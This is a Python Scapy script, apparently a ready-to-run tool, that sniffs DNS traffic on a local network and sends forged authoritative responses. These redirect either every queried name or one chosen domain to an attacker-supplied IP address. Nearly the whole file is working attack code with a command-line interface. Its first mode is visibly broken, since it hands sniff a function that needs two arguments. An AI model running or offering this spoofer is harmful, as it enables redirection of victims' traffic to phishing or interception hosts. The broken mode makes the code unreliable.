from scapy.all import *

def dns_spoof_ip_only(packet, spoofed_ip):
    """
    仅拦截和伪造DNS响应，使用用户提供的IP地址
    """
    if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:  # 仅拦截DNS请求
        original_query = packet[DNSQR].qname.decode('utf-8')

        print(f"DNS request intercepted：{original_query}")
        response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                   UDP(dport=packet[UDP].sport, sport=53) / \
                   DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, 
                       an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))

        send(response, verbose=0)
        print(f"A forged DNS response has been sent.：{original_query} -> {spoofed_ip}")

def dns_spoof_ip_and_domain(packet, target_domain, spoofed_ip):
    """
    拦截和伪造DNS响应，使用用户提供的域名和IP地址
    """
    if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:  # 仅拦截DNS请求
        original_query = packet[DNSQR].qname.decode('utf-8')

        if target_domain in original_query:
            print(f"DNS request intercepted：{original_query}")
            response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                       UDP(dport=packet[UDP].sport, sport=53) / \
                       DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, 
                           an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))

            send(response, verbose=0)
            print(f"A forged DNS response has been sent.：{original_query} -> {spoofed_ip}")

def main(choice, spoofed_ip, target_domain=""):
    if choice == "1":
        print("Starting DNS Spoofing (IP only). Press Ctrl+C to stop.")
        spoof_function = dns_spoof_ip_only
    elif choice == "2":
        if not target_domain:
            print("Error: Missing target_domain. Use 'set target_domain <domain>'.")
            return
        print("Starting DNS Spoofing (IP + domain). Press Ctrl+C to stop.")
        spoof_function = lambda packet: dns_spoof_ip_and_domain(packet, target_domain, spoofed_ip)
    else:
        print("Invalid choice. Choose 1 or 2.")
        return

    try:
        sniff(filter="udp port 53", prn=spoof_function, store=0)
    except KeyboardInterrupt:
        print("Attack stopped.")

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        options = {}
        options["choice"] = sys.argv[1]
        options["spoofed_ip"] = sys.argv[2]

        if options["choice"] == "2":
            options["target_domain"] = sys.argv[3]

        main(options["choice"], options["spoofed_ip"], options.get("target_domain", ""))
    else:
        print("Usage: python dns_spoofing.py <choice> <spoofed_ip> [target_domain]")
 # pip install scapy
 # sansjtw